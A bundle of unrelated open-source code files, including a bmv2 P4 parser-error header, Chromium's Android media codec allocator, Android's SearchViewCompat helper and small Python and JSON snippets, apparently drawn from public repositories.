<filename>include/bm/bm_sim/parser_error.h /* Copyright 2013-present Barefoot Networks, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /* * <NAME> (<EMAIL>) * */ //! @file parser_error.h #ifndef BM_BM_SIM_PARSER_ERROR_H_ #define BM_BM_SIM_PARSER_ERROR_H_ #include <exception> #include <limits> #include <string> #include <unordered_map> namespace bm { //! Used to represent an error code (used in the parser) internally. This is //! really just a wrapper around an integral type. class ErrorCode { friend class ErrorCodeMap; public: using type_t = int; explicit ErrorCode(type_t v) : v(v) { } type_t get() { return v; } //! Equality operator bool operator==(const ErrorCode &other) const { return (v == other.v); } //! Inequality operator bool operator!=(const ErrorCode &other) const { return !(*this == other); } //! An invalid ErrorCode, with an integral value distinct from all other //! P4-specified error codes. static ErrorCode make_invalid() { return ErrorCode(INVALID_V); } private: type_t v; static constexpr type_t INVALID_V = std::numeric_limits<type_t>::max(); }; //! A bi-directional map between error codes and their P4 names. class ErrorCodeMap { public: //! The core erros, as per core.p4. enum class Core { //! No error raised in parser NoError, //! Not enough bits in packet for extract or lookahead PacketTooShort, //! Match statement has no matches (unused for now) NoMatch, //! Reference to invalid element of a header stack (partial support) StackOutOfBounds, //! Extracting too many bits into a varbit field (unused for now) HeaderTooShort, //! Parser execution time limit exceeded (unused for now) ParserTimeout, //! Parser operation was called with a value not supported by the //! implementation. ParserInvalidArgument }; bool add(const std::string &name, ErrorCode::type_t v); bool exists(const std::string &name) const; bool exists(ErrorCode::type_t v) const; // Add the core error codes to the map, providing they are not already // present. If they need to be added, we make sure to use different integral // values than for the existing codes. void add_core(); //! Retrieve an error code from a P4 error name. Will throw std::out_of_range //! exception if name does not exist. ErrorCode from_name(const std::string &name) const; //! Retrieve an error code for one of the core errors. ErrorCode from_core(const Core &core) const; //! Retrieve an error code's name. Will throw std::out_of_range exception if //! the error code is not valid. const std::string &to_name(const ErrorCode &code) const; static ErrorCodeMap make_with_core(); private: static const char *core_to_name(const Core &core); std::unordered_map<ErrorCode::type_t, std::string> map_v_to_name{}; std::unordered_map<std::string, ErrorCode::type_t> map_name_to_v{}; }; class parser_exception : public std::exception { public: virtual ~parser_exception() { } virtual ErrorCode get(const ErrorCodeMap &error_codes) const = 0; }; class parser_exception_arch : public parser_exception { public: explicit parser_exception_arch(const ErrorCode &code); ErrorCode get(const ErrorCodeMap &error_codes) const override; private: const ErrorCode code; }; class parser_exception_core : public parser_exception { public: explicit parser_exception_core(ErrorCodeMap::Core core); ErrorCode get(const ErrorCodeMap &error_codes) const override; private: ErrorCodeMap::Core core; }; } // namespace bm #endif // BM_BM_SIM_PARSER_ERROR_H_
1,302
959
<reponame>goncalogteixeira/pyswarns """ Pacakge for various utilities """ from .reporter.reporter import Reporter __all__ = ["Reporter"]
48
335
{ "word": "Prior", "definitions": [ "Existing or coming before in time, order, or importance." ], "parts-of-speech": "Adjective" }
65
1,501
from litex.soc.cores.cpu.vexriscv_smp.core import VexRiscvSMP
32
9,516
<reponame>ketyi/dgl from pathlib import Path import json def main(): result_dir = Path(__file__).parent/ ".." / Path("results/") for per_machine_dir in result_dir.iterdir(): if per_machine_dir.is_dir(): try: machine_json = json.loads((per_machine_dir/"machine.json").read_text()) ram = machine_json["ram"] for f in per_machine_dir.glob("*.json"): if f.stem != "machine": result = json.loads(f.read_text()) result_ram = result["params"]["ram"] if result_ram != ram: result["params"]["ram"] = ram print(f"Fix ram in {f}") f.write_text(json.dumps(result)) else: print(f"Skip {f}") except Exception as e: print(e) main()
548
2,151
<filename>media/gpu/android/avda_codec_allocator.cc // Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "media/gpu/android/avda_codec_allocator.h" #include <stddef.h> #include <memory> #include "base/logging.h" #include "base/single_thread_task_runner.h" #include "base/sys_info.h" #include "base/task_runner_util.h" #include "base/task_scheduler/task_traits.h" #include "base/threading/thread.h" #include "base/threading/thread_checker.h" #include "base/threading/thread_task_runner_handle.h" #include "base/time/default_tick_clock.h" #include "base/trace_event/trace_event.h" #include "media/base/android/media_codec_bridge_impl.h" #include "media/base/limits.h" #include "media/base/media.h" #include "media/base/timestamp_constants.h" #include "media/gpu/android/android_video_decode_accelerator.h" namespace media { namespace { // Give tasks 800ms before considering them hung. MediaCodec.configure() calls // typically take 100-200ms on a N5, so 800ms is expected to very rarely result // in false positives. Also, false positives have low impact because we resume // using the thread when the task completes. constexpr base::TimeDelta kHungTaskDetectionTimeout = base::TimeDelta::FromMilliseconds(800); // This must be safe to call on any thread. Returns nullptr on failure. std::unique_ptr<MediaCodecBridge> CreateMediaCodecInternal( AVDACodecAllocator::CodecFactoryCB factory_cb, scoped_refptr<CodecConfig> codec_config, bool requires_software_codec) { TRACE_EVENT0("media", "CreateMediaCodecInternal"); const base::android::JavaRef<jobject>& media_crypto = codec_config->media_crypto ? *codec_config->media_crypto : nullptr; // |requires_secure_codec| implies that it's an encrypted stream. DCHECK(!codec_config->requires_secure_codec || !media_crypto.is_null()); CodecType codec_type = CodecType::kAny; if (codec_config->requires_secure_codec && requires_software_codec) { DVLOG(1) << "Secure software codec doesn't exist."; return nullptr; } else if (codec_config->requires_secure_codec) { codec_type = CodecType::kSecure; } else if (requires_software_codec) { codec_type = CodecType::kSoftware; } std::unique_ptr<MediaCodecBridge> codec(factory_cb.Run( codec_config->codec, codec_type, codec_config->initial_expected_coded_size, codec_config->surface_bundle->GetJavaSurface(), media_crypto, codec_config->csd0, codec_config->csd1, codec_config->container_color_space, codec_config->hdr_metadata, true)); return codec; } // Delete |codec| and signal |done_event| if it's not null. void DeleteMediaCodecAndSignal(std::unique_ptr<MediaCodecBridge> codec, base::WaitableEvent* done_event) { codec.reset(); if (done_event) done_event->Signal(); } } // namespace CodecConfig::CodecConfig() {} CodecConfig::~CodecConfig() {} AVDACodecAllocator::HangDetector::HangDetector( const base::TickClock* tick_clock) : tick_clock_(tick_clock) {} void AVDACodecAllocator::HangDetector::WillProcessTask( const base::PendingTask& pending_task) { base::AutoLock l(lock_); task_start_time_ = tick_clock_->NowTicks(); } void AVDACodecAllocator::HangDetector::DidProcessTask( const base::PendingTask& pending_task) { base::AutoLock l(lock_); task_start_time_ = base::TimeTicks(); } bool AVDACodecAllocator::HangDetector::IsThreadLikelyHung() { base::AutoLock l(lock_); if (task_start_time_.is_null()) return false; return (tick_clock_->NowTicks() - task_start_time_) > kHungTaskDetectionTimeout; } // static AVDACodecAllocator* AVDACodecAllocator::GetInstance( scoped_refptr<base::SequencedTaskRunner> task_runner) { static AVDACodecAllocator* allocator = new AVDACodecAllocator( base::BindRepeating(&MediaCodecBridgeImpl::CreateVideoDecoder), task_runner); // Verify that this caller agrees on the task runner, if one was specified. DCHECK(!task_runner || allocator->task_runner_ == task_runner); return allocator; } void AVDACodecAllocator::StartThread(AVDACodecAllocatorClient* client) { if (!task_runner_->RunsTasksInCurrentSequence()) { task_runner_->PostTask(FROM_HERE, base::Bind(&AVDACodecAllocator::StartThread, base::Unretained(this), client)); return; } DCHECK(task_runner_->RunsTasksInCurrentSequence()); // NOTE: |client| might not be a valid pointer anymore. All we know is that // no other client is aliased to it, as long as |client| called StopThread // before it was destroyed. The reason is that any re-use of |client| would // have to also post StartThread to this thread. Since the re-use must be // ordered later with respect to deleting the original |client|, the post must // also be ordered later. So, there might be an aliased client posted, but it // won't have started yet. // Cancel any pending StopThreadTask()s because we need the threads now. weak_this_factory_.InvalidateWeakPtrs(); // Try to start the threads if they haven't been started. for (auto* thread : threads_) { if (thread->thread.IsRunning()) continue; if (!thread->thread.Start()) return; // Register the hang detector to observe the thread's MessageLoop. thread->thread.task_runner()->PostTask( FROM_HERE, base::Bind(&base::MessageLoop::AddTaskObserver, base::Unretained(thread->thread.message_loop()), &thread->hang_detector)); } clients_.insert(client); return; } void AVDACodecAllocator::StopThread(AVDACodecAllocatorClient* client) { if (!task_runner_->RunsTasksInCurrentSequence()) { task_runner_->PostTask(FROM_HERE, base::Bind(&AVDACodecAllocator::StopThread, base::Unretained(this), client)); return; } DCHECK(task_runner_->RunsTasksInCurrentSequence()); clients_.erase(client); if (!clients_.empty()) { // If we aren't stopping, then signal immediately. if (stop_event_for_testing_) stop_event_for_testing_->Signal(); return; } // Post a task to stop each thread through its task runner and back to this // thread. This ensures that all pending tasks are run first. If a new AVDA // calls StartThread() before StopThreadTask() runs, it's canceled by // invalidating its weak pointer. As a result we're guaranteed to only call // Thread::Stop() while there are no tasks on its queue. We don't try to stop // hung threads. But if it recovers it will be stopped the next time a client // calls this. for (size_t i = 0; i < threads_.size(); i++) { if (threads_[i]->thread.IsRunning() && !threads_[i]->hang_detector.IsThreadLikelyHung()) { threads_[i]->thread.task_runner()->PostTaskAndReply( FROM_HERE, base::DoNothing(), base::Bind(&AVDACodecAllocator::StopThreadTask, weak_this_factory_.GetWeakPtr(), i)); } } } // Return the task runner for tasks of type |type|. scoped_refptr<base::SingleThreadTaskRunner> AVDACodecAllocator::TaskRunnerFor( TaskType task_type) { DCHECK(task_runner_->RunsTasksInCurrentSequence()); return threads_[task_type]->thread.task_runner(); } std::unique_ptr<MediaCodecBridge> AVDACodecAllocator::CreateMediaCodecSync( scoped_refptr<CodecConfig> codec_config) { DCHECK(task_runner_->RunsTasksInCurrentSequence()); auto task_type = TaskTypeForAllocation(codec_config->software_codec_forbidden); if (!task_type) return nullptr; auto codec = CreateMediaCodecInternal(factory_cb_, codec_config, task_type == SW_CODEC); if (codec) codec_task_types_[codec.get()] = *task_type; return codec; } void AVDACodecAllocator::CreateMediaCodecAsync( base::WeakPtr<AVDACodecAllocatorClient> client, scoped_refptr<CodecConfig> codec_config) { if (!task_runner_->RunsTasksInCurrentSequence()) { // We need to be ordered with respect to any Start/StopThread from this // client. Otherwise, we might post work to the worker thread before the // posted task to start the worker threads (on |task_runner_|) has run yet. // We also need to avoid data races, since our member variables are all // supposed to be accessed from the main thread only. task_runner_->PostTask( FROM_HERE, base::Bind(&AVDACodecAllocator::CreateMediaCodecAsyncInternal, base::Unretained(this), base::ThreadTaskRunnerHandle::Get(), client, codec_config)); return; } // We're on the right thread, so just send in |task_runner_|. CreateMediaCodecAsyncInternal(task_runner_, client, codec_config); } void AVDACodecAllocator::CreateMediaCodecAsyncInternal( scoped_refptr<base::SequencedTaskRunner> client_task_runner, base::WeakPtr<AVDACodecAllocatorClient> client, scoped_refptr<CodecConfig> codec_config) { DCHECK(task_runner_->RunsTasksInCurrentSequence()); DCHECK(client_task_runner); // TODO(liberato): BindOnce more often if possible. // Allocate the codec on the appropriate thread, and reply to this one with // the result. If |client| is gone by then, we handle cleanup. auto task_type = TaskTypeForAllocation(codec_config->software_codec_forbidden); scoped_refptr<base::SingleThreadTaskRunner> task_runner = task_type ? TaskRunnerFor(*task_type) : nullptr; if (!task_type || !task_runner) { // The allocator threads didn't start or are stuck. // Post even if it's the current thread, to avoid re-entrancy. client_task_runner->PostTask( FROM_HERE, base::Bind(&AVDACodecAllocatorClient::OnCodecConfigured, client, nullptr, codec_config->surface_bundle)); return; } base::PostTaskAndReplyWithResult( task_runner.get(), FROM_HERE, base::BindOnce(&CreateMediaCodecInternal, factory_cb_, codec_config, task_type == SW_CODEC), base::BindOnce(&AVDACodecAllocator::ForwardOrDropCodec, base::Unretained(this), client_task_runner, client, *task_type, codec_config->surface_bundle)); } void AVDACodecAllocator::ForwardOrDropCodec( scoped_refptr<base::SequencedTaskRunner> client_task_runner, base::WeakPtr<AVDACodecAllocatorClient> client, TaskType task_type, scoped_refptr<AVDASurfaceBundle> surface_bundle, std::unique_ptr<MediaCodecBridge> media_codec) { DCHECK(task_runner_->RunsTasksInCurrentSequence()); // Remember: we are not necessarily on the right thread to use |client|. if (media_codec) codec_task_types_[media_codec.get()] = task_type; // We could call directly if |task_runner_| is the current thread. Also note // that there's no guarantee that |client_task_runner|'s thread is still // running. That's okay; MediaCodecAndSurface will handle it. client_task_runner->PostTask( FROM_HERE, base::BindOnce(&AVDACodecAllocator::ForwardOrDropCodecOnClientThread, base::Unretained(this), client, std::make_unique<MediaCodecAndSurface>( std::move(media_codec), std::move(surface_bundle)))); } void AVDACodecAllocator::ForwardOrDropCodecOnClientThread( base::WeakPtr<AVDACodecAllocatorClient> client, std::unique_ptr<MediaCodecAndSurface> codec_and_surface) { // Note that if |client| has been destroyed, MediaCodecAndSurface will clean // up properly on the correct thread. Also note that |surface_bundle| will be // preserved at least as long as the codec. if (!client) return; client->OnCodecConfigured(std::move(codec_and_surface->media_codec), std::move(codec_and_surface->surface_bundle)); } AVDACodecAllocator::MediaCodecAndSurface::MediaCodecAndSurface( std::unique_ptr<MediaCodecBridge> codec, scoped_refptr<AVDASurfaceBundle> surface) : media_codec(std::move(codec)), surface_bundle(std::move(surface)) {} AVDACodecAllocator::MediaCodecAndSurface::~MediaCodecAndSurface() { // This code may be run on any thread. if (!media_codec) return; // If there are no registered clients, then the threads are stopped or are // stopping. We must restart them / cancel any pending stop requests before // we can post codec destruction to them. In the "restart them" case, the // threads aren't running. In the "cancel...requests" case, the threads are // running, but we're trying to clear them out via a DoNothing task posted // there. Once that completes, there will be a join on the main thread. If // we post, then it will be ordered after the DoNothing, but before the join // on the main thread (this thread). If the destruction task hangs, then so // will the join. // // We register a fake client to make sure that the threads are ready. // // If we can't start the thread, then ReleaseMediaCodec will free it on the // current thread. AVDACodecAllocator* allocator = GetInstance(nullptr); allocator->StartThread(nullptr); allocator->ReleaseMediaCodec(std::move(media_codec), std::move(surface_bundle)); // We can stop the threads immediately. If other clients are around, then // this will do nothing. Otherwise, this will order the join after the // release completes successfully. allocator->StopThread(nullptr); } void AVDACodecAllocator::ReleaseMediaCodec( std::unique_ptr<MediaCodecBridge> media_codec, scoped_refptr<AVDASurfaceBundle> surface_bundle) { DCHECK(media_codec); if (!task_runner_->RunsTasksInCurrentSequence()) { // See CreateMediaCodecAsync task_runner_->PostTask( FROM_HERE, base::BindOnce(&AVDACodecAllocator::ReleaseMediaCodec, base::Unretained(this), std::move(media_codec), std::move(surface_bundle))); return; } DCHECK(task_runner_->RunsTasksInCurrentSequence()); auto task_type = codec_task_types_[media_codec.get()]; int erased = codec_task_types_.erase(media_codec.get()); DCHECK(erased); // Save a waitable event for the release if the codec is attached to an // overlay so we can block on it in WaitForPendingRelease(). base::WaitableEvent* released_event = nullptr; if (surface_bundle->overlay) { pending_codec_releases_.emplace( std::piecewise_construct, std::forward_as_tuple(surface_bundle->overlay.get()), std::forward_as_tuple(base::WaitableEvent::ResetPolicy::MANUAL, base::WaitableEvent::InitialState::NOT_SIGNALED)); released_event = &pending_codec_releases_.find(surface_bundle->overlay.get())->second; } // Note that we forward |surface_bundle|, too, so that the surface outlasts // the codec. scoped_refptr<base::SingleThreadTaskRunner> task_runner = TaskRunnerFor(task_type); if (!task_runner) { // Thread isn't running, so just delete it now and hope for the best. media_codec.reset(); OnMediaCodecReleased(std::move(surface_bundle)); return; } task_runner->PostTaskAndReply( FROM_HERE, base::Bind(&DeleteMediaCodecAndSignal, base::Passed(std::move(media_codec)), released_event), base::Bind(&AVDACodecAllocator::OnMediaCodecReleased, base::Unretained(this), std::move(surface_bundle))); } void AVDACodecAllocator::OnMediaCodecReleased( scoped_refptr<AVDASurfaceBundle> surface_bundle) { DCHECK(task_runner_->RunsTasksInCurrentSequence()); // This is a no-op if it's a non overlay bundle. pending_codec_releases_.erase(surface_bundle->overlay.get()); } bool AVDACodecAllocator::IsAnyRegisteredAVDA() { return !clients_.empty(); } base::Optional<TaskType> AVDACodecAllocator::TaskTypeForAllocation( bool software_codec_forbidden) { if (!threads_[AUTO_CODEC]->hang_detector.IsThreadLikelyHung()) return AUTO_CODEC; if (!threads_[SW_CODEC]->hang_detector.IsThreadLikelyHung() && !software_codec_forbidden) { return SW_CODEC; } return base::nullopt; } base::Thread& AVDACodecAllocator::GetThreadForTesting(TaskType task_type) { return threads_[task_type]->thread; } bool AVDACodecAllocator::WaitForPendingRelease(AndroidOverlay* overlay) { DCHECK(task_runner_->RunsTasksInCurrentSequence()); if (!pending_codec_releases_.count(overlay)) return true; // The codec is being released so we have to wait for it here. It's a // TimedWait() because the MediaCodec release may hang due to framework bugs. // And in that case we don't want to hang the browser UI thread. Android ANRs // occur when the UI thread is blocked for 5 seconds, so waiting for 2 seconds // gives us leeway to avoid an ANR. Verified no ANR on a Nexus 7. base::WaitableEvent& released = pending_codec_releases_.find(overlay)->second; released.TimedWait(base::TimeDelta::FromSeconds(2)); if (released.IsSignaled()) return true; DLOG(WARNING) << __func__ << ": timed out waiting for MediaCodec#release()"; return false; } AVDACodecAllocator::AVDACodecAllocator( AVDACodecAllocator::CodecFactoryCB factory_cb, scoped_refptr<base::SequencedTaskRunner> task_runner, const base::TickClock* tick_clock, base::WaitableEvent* stop_event) : task_runner_(task_runner), stop_event_for_testing_(stop_event), factory_cb_(std::move(factory_cb)), weak_this_factory_(this) { // We leak the clock we create, but that's okay because we're a singleton. auto* clock = tick_clock ? tick_clock : base::DefaultTickClock::GetInstance(); // Create threads with names and indices that match up with TaskType. threads_.push_back(new ThreadAndHangDetector("AVDAAutoThread", clock)); threads_.push_back(new ThreadAndHangDetector("AVDASWThread", clock)); static_assert(AUTO_CODEC == 0 && SW_CODEC == 1, "TaskType values are not ordered correctly."); } AVDACodecAllocator::~AVDACodecAllocator() { // Only tests should reach here. Shut down threads so that we guarantee that // nothing will use the threads. for (auto* thread : threads_) thread->thread.Stop(); } void AVDACodecAllocator::StopThreadTask(size_t index) { threads_[index]->thread.Stop(); // Signal the stop event after both threads are stopped. if (stop_event_for_testing_ && !threads_[AUTO_CODEC]->thread.IsRunning() && !threads_[SW_CODEC]->thread.IsRunning()) { stop_event_for_testing_->Signal(); } } } // namespace media
6,905
2,151
/* * Copyright (C) 2011 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package android.support.v4.widget; import android.app.SearchManager; import android.content.ComponentName; import android.content.Context; import android.os.Build; import android.view.View; import android.widget.TextView; /** * Helper for accessing features in {@link android.widget.SearchView} * introduced after API level 4 in a backwards compatible fashion. */ public final class SearchViewCompat { interface SearchViewCompatImpl { View newSearchView(Context context); void setSearchableInfo(View searchView, ComponentName searchableComponent); void setImeOptions(View searchView, int imeOptions); void setInputType(View searchView, int inputType); Object newOnQueryTextListener(OnQueryTextListenerCompat listener); void setOnQueryTextListener(Object searchView, Object listener); Object newOnCloseListener(OnCloseListenerCompat listener); void setOnCloseListener(Object searchView, Object listener); CharSequence getQuery(View searchView); void setQuery(View searchView, CharSequence query, boolean submit); void setQueryHint(View searchView, CharSequence hint); void setIconified(View searchView, boolean iconify); boolean isIconified(View searchView); void setSubmitButtonEnabled(View searchView, boolean enabled); boolean isSubmitButtonEnabled(View searchView); void setQueryRefinementEnabled(View searchView, boolean enable); boolean isQueryRefinementEnabled(View searchView); void setMaxWidth(View searchView, int maxpixels); } static class SearchViewCompatStubImpl implements SearchViewCompatImpl { @Override public View newSearchView(Context context) { return null; } @Override public void setSearchableInfo(View searchView, ComponentName searchableComponent) { } @Override public void setImeOptions(View searchView, int imeOptions) { } @Override public void setInputType(View searchView, int inputType) { } @Override public Object newOnQueryTextListener(OnQueryTextListenerCompat listener) { return null; } @Override public void setOnQueryTextListener(Object searchView, Object listener) { } @Override public Object newOnCloseListener(OnCloseListenerCompat listener) { return null; } @Override public void setOnCloseListener(Object searchView, Object listener) { } @Override public CharSequence getQuery(View searchView) { return null; } @Override public void setQuery(View searchView, CharSequence query, boolean submit) { } @Override public void setQueryHint(View searchView, CharSequence hint) { } @Override public void setIconified(View searchView, boolean iconify) { } @Override public boolean isIconified(View searchView) { return true; } @Override public void setSubmitButtonEnabled(View searchView, boolean enabled) { } @Override public boolean isSubmitButtonEnabled(View searchView) { return false; } @Override public void setQueryRefinementEnabled(View searchView, boolean enable) { } @Override public boolean isQueryRefinementEnabled(View searchView) { return false; } @Override public void setMaxWidth(View searchView, int maxpixels) { } } static class SearchViewCompatHoneycombImpl extends SearchViewCompatStubImpl { @Override public View newSearchView(Context context) { return SearchViewCompatHoneycomb.newSearchView(context); } @Override public void setSearchableInfo(View searchView, ComponentName searchableComponent) { SearchViewCompatHoneycomb.setSearchableInfo(searchView, searchableComponent); } @Override public Object newOnQueryTextListener(final OnQueryTextListenerCompat listener) { return SearchViewCompatHoneycomb.newOnQueryTextListener( new SearchViewCompatHoneycomb.OnQueryTextListenerCompatBridge() { @Override public boolean onQueryTextSubmit(String query) { return listener.onQueryTextSubmit(query); } @Override public boolean onQueryTextChange(String newText) { return listener.onQueryTextChange(newText); } }); } @Override public void setOnQueryTextListener(Object searchView, Object listener) { SearchViewCompatHoneycomb.setOnQueryTextListener(searchView, listener); } @Override public Object newOnCloseListener(final OnCloseListenerCompat listener) { return SearchViewCompatHoneycomb.newOnCloseListener( new SearchViewCompatHoneycomb.OnCloseListenerCompatBridge() { @Override public boolean onClose() { return listener.onClose(); } }); } @Override public void setOnCloseListener(Object searchView, Object listener) { SearchViewCompatHoneycomb.setOnCloseListener(searchView, listener); } @Override public CharSequence getQuery(View searchView) { return SearchViewCompatHoneycomb.getQuery(searchView); } @Override public void setQuery(View searchView, CharSequence query, boolean submit) { SearchViewCompatHoneycomb.setQuery(searchView, query, submit); } @Override public void setQueryHint(View searchView, CharSequence hint) { SearchViewCompatHoneycomb.setQueryHint(searchView, hint); } @Override public void setIconified(View searchView, boolean iconify) { SearchViewCompatHoneycomb.setIconified(searchView, iconify); } @Override public boolean isIconified(View searchView) { return SearchViewCompatHoneycomb.isIconified(searchView); } @Override public void setSubmitButtonEnabled(View searchView, boolean enabled) { SearchViewCompatHoneycomb.setSubmitButtonEnabled(searchView, enabled); } @Override public boolean isSubmitButtonEnabled(View searchView) { return SearchViewCompatHoneycomb.isSubmitButtonEnabled(searchView); } @Override public void setQueryRefinementEnabled(View searchView, boolean enable) { SearchViewCompatHoneycomb.setQueryRefinementEnabled(searchView, enable); } @Override public boolean isQueryRefinementEnabled(View searchView) { return SearchViewCompatHoneycomb.isQueryRefinementEnabled(searchView); } @Override public void setMaxWidth(View searchView, int maxpixels) { SearchViewCompatHoneycomb.setMaxWidth(searchView, maxpixels); } } static class SearchViewCompatIcsImpl extends SearchViewCompatHoneycombImpl { @Override public View newSearchView(Context context) { return SearchViewCompatIcs.newSearchView(context); } @Override public void setImeOptions(View searchView, int imeOptions) { SearchViewCompatIcs.setImeOptions(searchView, imeOptions); } @Override public void setInputType(View searchView, int inputType) { SearchViewCompatIcs.setInputType(searchView, inputType); } } private static final SearchViewCompatImpl IMPL; static { if (Build.VERSION.SDK_INT >= 14) { // ICS IMPL = new SearchViewCompatIcsImpl(); } else if (Build.VERSION.SDK_INT >= 11) { // Honeycomb IMPL = new SearchViewCompatHoneycombImpl(); } else { IMPL = new SearchViewCompatStubImpl(); } } private SearchViewCompat(Context context) { /* Hide constructor */ } /** * Creates a new SearchView. * * @param context The Context the view is running in. * @return A SearchView instance if the class is present on the current * platform, null otherwise. */ public static View newSearchView(Context context) { return IMPL.newSearchView(context); } /** * Sets the SearchableInfo for this SearchView. Properties in the SearchableInfo are used * to display labels, hints, suggestions, create intents for launching search results screens * and controlling other affordances such as a voice button. * * @param searchView The SearchView to operate on. * @param searchableComponent The application component whose * {@link android.app.SearchableInfo} should be loaded and applied to * the SearchView. */ public static void setSearchableInfo(View searchView, ComponentName searchableComponent) { IMPL.setSearchableInfo(searchView, searchableComponent); } /** * Sets the IME options on the query text field. This is a no-op if * called on pre-{@link android.os.Build.VERSION_CODES#ICE_CREAM_SANDWICH} * platforms. * * @see TextView#setImeOptions(int) * @param searchView The SearchView to operate on. * @param imeOptions the options to set on the query text field */ public static void setImeOptions(View searchView, int imeOptions) { IMPL.setImeOptions(searchView, imeOptions); } /** * Sets the input type on the query text field. This is a no-op if * called on pre-{@link android.os.Build.VERSION_CODES#ICE_CREAM_SANDWICH} * platforms. * * @see TextView#setInputType(int) * @param searchView The SearchView to operate on. * @param inputType the input type to set on the query text field */ public static void setInputType(View searchView, int inputType) { IMPL.setInputType(searchView, inputType); } /** * Sets a listener for user actions within the SearchView. * * @param searchView The SearchView in which to register the listener. * @param listener the listener object that receives callbacks when the user performs * actions in the SearchView such as clicking on buttons or typing a query. */ public static void setOnQueryTextListener(View searchView, OnQueryTextListenerCompat listener) { IMPL.setOnQueryTextListener(searchView, listener.mListener); } /** * Callbacks for changes to the query text. */ public static abstract class OnQueryTextListenerCompat { final Object mListener; public OnQueryTextListenerCompat() { mListener = IMPL.newOnQueryTextListener(this); } /** * Called when the user submits the query. This could be due to a key press on the * keyboard or due to pressing a submit button. * The listener can override the standard behavior by returning true * to indicate that it has handled the submit request. Otherwise return false to * let the SearchView handle the submission by launching any associated intent. * * @param query the query text that is to be submitted * * @return true if the query has been handled by the listener, false to let the * SearchView perform the default action. */ public boolean onQueryTextSubmit(String query) { return false; } /** * Called when the query text is changed by the user. * * @param newText the new content of the query text field. * * @return false if the SearchView should perform the default action of showing any * suggestions if available, true if the action was handled by the listener. */ public boolean onQueryTextChange(String newText) { return false; } } /** * Sets a listener to inform when the user closes the SearchView. * * @param searchView The SearchView in which to register the listener. * @param listener the listener to call when the user closes the SearchView. */ public static void setOnCloseListener(View searchView, OnCloseListenerCompat listener) { IMPL.setOnCloseListener(searchView, listener.mListener); } /** * Callback for closing the query UI. */ public static abstract class OnCloseListenerCompat { final Object mListener; public OnCloseListenerCompat() { mListener = IMPL.newOnCloseListener(this); } /** * The user is attempting to close the SearchView. * * @return true if the listener wants to override the default behavior of clearing the * text field and dismissing it, false otherwise. */ public boolean onClose() { return false; } } /** * Returns the query string currently in the text field. * * @param searchView The SearchView to operate on. * * @return the query string */ public static CharSequence getQuery(View searchView) { return IMPL.getQuery(searchView); } /** * Sets a query string in the text field and optionally submits the query as well. * * @param searchView The SearchView to operate on. * @param query the query string. This replaces any query text already present in the * text field. * @param submit whether to submit the query right now or only update the contents of * text field. */ public static void setQuery(View searchView, CharSequence query, boolean submit) { IMPL.setQuery(searchView, query, submit); } /** * Sets the hint text to display in the query text field. This overrides any hint specified * in the SearchableInfo. * * @param searchView The SearchView to operate on. * @param hint the hint text to display */ public static void setQueryHint(View searchView, CharSequence hint) { IMPL.setQueryHint(searchView, hint); } /** * Iconifies or expands the SearchView. Any query text is cleared when iconified. This is * a temporary state and does not override the default iconified state set by * setIconifiedByDefault(boolean). If the default state is iconified, then * a false here will only be valid until the user closes the field. And if the default * state is expanded, then a true here will only clear the text field and not close it. * * @param searchView The SearchView to operate on. * @param iconify a true value will collapse the SearchView to an icon, while a false will * expand it. */ public static void setIconified(View searchView, boolean iconify) { IMPL.setIconified(searchView, iconify); } /** * Returns the current iconified state of the SearchView. * * @param searchView The SearchView to operate on. * @return true if the SearchView is currently iconified, false if the search field is * fully visible. */ public static boolean isIconified(View searchView) { return IMPL.isIconified(searchView); } /** * Enables showing a submit button when the query is non-empty. In cases where the SearchView * is being used to filter the contents of the current activity and doesn't launch a separate * results activity, then the submit button should be disabled. * * @param searchView The SearchView to operate on. * @param enabled true to show a submit button for submitting queries, false if a submit * button is not required. */ public static void setSubmitButtonEnabled(View searchView, boolean enabled) { IMPL.setSubmitButtonEnabled(searchView, enabled); } /** * Returns whether the submit button is enabled when necessary or never displayed. * * @param searchView The SearchView to operate on. * @return whether the submit button is enabled automatically when necessary */ public static boolean isSubmitButtonEnabled(View searchView) { return IMPL.isSubmitButtonEnabled(searchView); } /** * Specifies if a query refinement button should be displayed alongside each suggestion * or if it should depend on the flags set in the individual items retrieved from the * suggestions provider. Clicking on the query refinement button will replace the text * in the query text field with the text from the suggestion. This flag only takes effect * if a SearchableInfo has been specified with {@link #setSearchableInfo(View, ComponentName)} * and not when using a custom adapter. * * @param searchView The SearchView to operate on. * @param enable true if all items should have a query refinement button, false if only * those items that have a query refinement flag set should have the button. * * @see SearchManager#SUGGEST_COLUMN_FLAGS * @see SearchManager#FLAG_QUERY_REFINEMENT */ public static void setQueryRefinementEnabled(View searchView, boolean enable) { IMPL.setQueryRefinementEnabled(searchView, enable); } /** * Returns whether query refinement is enabled for all items or only specific ones. * @param searchView The SearchView to operate on. * @return true if enabled for all items, false otherwise. */ public static boolean isQueryRefinementEnabled(View searchView) { return IMPL.isQueryRefinementEnabled(searchView); } /** * Makes the view at most this many pixels wide * @param searchView The SearchView to operate on. */ public static void setMaxWidth(View searchView, int maxpixels) { IMPL.setMaxWidth(searchView, maxpixels); } }
6,908
1,194
